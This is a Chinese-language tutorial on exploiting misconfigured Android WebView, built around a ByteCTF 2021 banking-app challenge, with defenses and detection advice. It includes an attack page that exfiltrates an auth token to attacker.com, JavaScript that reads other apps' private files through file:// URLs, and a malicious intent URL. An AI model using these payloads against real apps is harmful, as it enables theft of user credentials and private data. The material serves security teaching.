Android-Webview中的漏洞利用
字数 1260 2025-08-07 00:35:01

Android WebView漏洞利用深度解析

1. WebView基础概述

WebView是Android提供的一个系统组件,用于在应用程序中嵌入网页内容,基于WebKit/Blink渲染引擎实现。

1.1 WebView核心功能

  • 加载显示网页内容
  • 执行JavaScript代码
  • 与原生Android应用交互
  • 处理页面导航和资源请求

1.2 WebView常见用途

  • 应用内浏览器功能
  • 显示动态内容/广告
  • 混合应用开发(Hybrid App)
  • 快速迭代UI而不需发版

2. WebView安全机制

2.1 默认安全设置

WebView webView = new WebView(context);
// 默认设置:
// JavaScript禁用
// 文件访问禁用
// 内容访问限制

2.2 关键安全配置项

webView.getSettings().setJavaScriptEnabled(true); // 启用JS
webView.getSettings().setAllowFileAccess(true); // 文件访问
webView.getSettings().setAllowContentAccess(true); // 内容访问
webView.getSettings().setAllowFileAccessFromFileURLs(true); // 文件URL访问
webView.getSettings().setAllowUniversalAccessFromFileURLs(true); // 通用文件URL访问

3. WebView常见漏洞类型

3.1 任意代码执行漏洞

成因

  • 启用JavaScript接口且未正确限制
  • 使用addJavascriptInterface暴露危险接口

漏洞代码示例

webView.addJavascriptInterface(new JsObject(), "injectedObject");

3.2 文件域同源策略绕过

漏洞条件

setAllowFileAccess(true);
setAllowFileAccessFromFileURLs(true);
setAllowUniversalAccessFromFileURLs(true);

利用方式

// 通过file域访问私有文件
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.victim.app/shared_prefs/login.xml", false);
xhr.send();

3.3 协议处理漏洞

问题

  • 未验证Intent Scheme URL
  • 允许javascript:协议执行任意代码

恶意URL示例

intent://victim.com#Intent;scheme=evil;package=com.evil.app;action=android.intent.action.VIEW;end

4. ByteCTF 2021漏洞案例分析

4.1 题目环境分析

  • 目标应用:模拟银行APP
  • 漏洞点:WebView配置不当
  • 攻击面:通过恶意网页窃取用户凭证

4.2 漏洞利用步骤

步骤1:识别WebView配置

// 漏洞配置
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
webView.addJavascriptInterface(new AuthBridge(), "auth");

步骤2:分析Js接口

public class AuthBridge {
    @JavascriptInterface
    public String getAuthToken() {
        return SecureStorage.getToken();
    }
}

步骤3:构造攻击页面

<html>
<script>
function stealToken() {
    var token = window.auth.getAuthToken();
    fetch('http://attacker.com/steal?token=' + token);
}
</script>
<body onload="stealToken()">
</body>
</html>

步骤4:触发漏洞

webView.loadUrl("file:///sdcard/evil.html");

5. 漏洞防御措施

5.1 安全配置建议

// 禁用危险设置
webView.getSettings().setJavaScriptEnabled(false);
webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setAllowContentAccess(false);
webView.getSettings().setAllowFileAccessFromFileURLs(false);
webView.getSettings().setAllowUniversalAccessFromFileURLs(false);

// 移除不必要的JS接口
webView.removeJavascriptInterface("searchBoxJavaBridge_");
webView.removeJavascriptInterface("accessibility");
webView.removeJavascriptInterface("accessibilityTraversal");

5.2 安全使用JavascriptInterface

@JavascriptInterface
public String safeMethod(String input) {
    // 输入验证
    if(!isValid(input)) {
        return "Invalid input";
    }
    
    // 最小权限原则
    return performSafeOperation(input);
}

5.3 其他防御措施

  • 启用WebView内容安全策略(CSP)
  • 验证所有加载的URL
  • 使用shouldOverrideUrlLoading拦截危险请求
  • 定期更新WebView组件

6. 漏洞检测方法

6.1 静态分析

  • 检查AndroidManifest.xml中的WebView声明
  • 分析WebView设置代码
  • 查找addJavascriptInterface调用

6.2 动态测试

  • 使用ADB检查运行的WebView
adb shell dumpsys activity top | grep WebView
  • 注入测试脚本检查可访问接口
for(var prop in window) {
    console.log(prop);
}

7. 高级利用技术

7.1 跨应用数据窃取

// 访问其他应用的私有数据
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.target.app/databases/sensitive.db", false);
xhr.send();
var data = xhr.responseText;
// 将数据外传...

7.2 结合其他漏洞

  • 与Content Provider漏洞结合
  • 利用Intent Filter漏洞链
  • 配合本地文件包含(LFI)扩大影响

8. 实际案例分析

8.1 某银行APP漏洞

漏洞描述

  • 允许file域访问
  • 暴露敏感JS接口
  • 未验证加载的URL

利用结果

  • 窃取用户登录凭证
  • 获取本地存储的银行卡信息
  • 实现远程代码执行

9. 参考资源

  1. Android官方WebView文档
  2. OWASP Mobile Top 10
  3. WebView安全最佳实践白皮书
  4. ByteCTF 2021官方Writeup

10. 总结

WebView漏洞利用的核心在于:

  1. 识别不安全的配置
  2. 发现暴露的JS接口
  3. 构造有效的攻击载荷
  4. 实现数据窃取或代码执行

开发者必须严格遵循安全配置指南,定期进行安全审计,以防范WebView相关的安全风险。

Android WebView漏洞利用深度解析 1. WebView基础概述 WebView是Android提供的一个系统组件,用于在应用程序中嵌入网页内容,基于WebKit/Blink渲染引擎实现。 1.1 WebView核心功能 加载显示网页内容 执行JavaScript代码 与原生Android应用交互 处理页面导航和资源请求 1.2 WebView常见用途 应用内浏览器功能 显示动态内容/广告 混合应用开发(Hybrid App) 快速迭代UI而不需发版 2. WebView安全机制 2.1 默认安全设置 2.2 关键安全配置项 3. WebView常见漏洞类型 3.1 任意代码执行漏洞 成因 : 启用JavaScript接口且未正确限制 使用addJavascriptInterface暴露危险接口 漏洞代码示例 : 3.2 文件域同源策略绕过 漏洞条件 : 利用方式 : 3.3 协议处理漏洞 问题 : 未验证Intent Scheme URL 允许javascript:协议执行任意代码 恶意URL示例 : 4. ByteCTF 2021漏洞案例分析 4.1 题目环境分析 目标应用:模拟银行APP 漏洞点:WebView配置不当 攻击面:通过恶意网页窃取用户凭证 4.2 漏洞利用步骤 步骤1:识别WebView配置 步骤2:分析Js接口 步骤3:构造攻击页面 步骤4:触发漏洞 5. 漏洞防御措施 5.1 安全配置建议 5.2 安全使用JavascriptInterface 5.3 其他防御措施 启用WebView内容安全策略(CSP) 验证所有加载的URL 使用shouldOverrideUrlLoading拦截危险请求 定期更新WebView组件 6. 漏洞检测方法 6.1 静态分析 检查AndroidManifest.xml中的WebView声明 分析WebView设置代码 查找addJavascriptInterface调用 6.2 动态测试 使用ADB检查运行的WebView 注入测试脚本检查可访问接口 7. 高级利用技术 7.1 跨应用数据窃取 7.2 结合其他漏洞 与Content Provider漏洞结合 利用Intent Filter漏洞链 配合本地文件包含(LFI)扩大影响 8. 实际案例分析 8.1 某银行APP漏洞 漏洞描述 : 允许file域访问 暴露敏感JS接口 未验证加载的URL 利用结果 : 窃取用户登录凭证 获取本地存储的银行卡信息 实现远程代码执行 9. 参考资源 Android官方WebView文档 OWASP Mobile Top 10 WebView安全最佳实践白皮书 ByteCTF 2021官方Writeup 10. 总结 WebView漏洞利用的核心在于: 识别不安全的配置 发现暴露的JS接口 构造有效的攻击载荷 实现数据窃取或代码执行 开发者必须严格遵循安全配置指南,定期进行安全审计,以防范WebView相关的安全风险。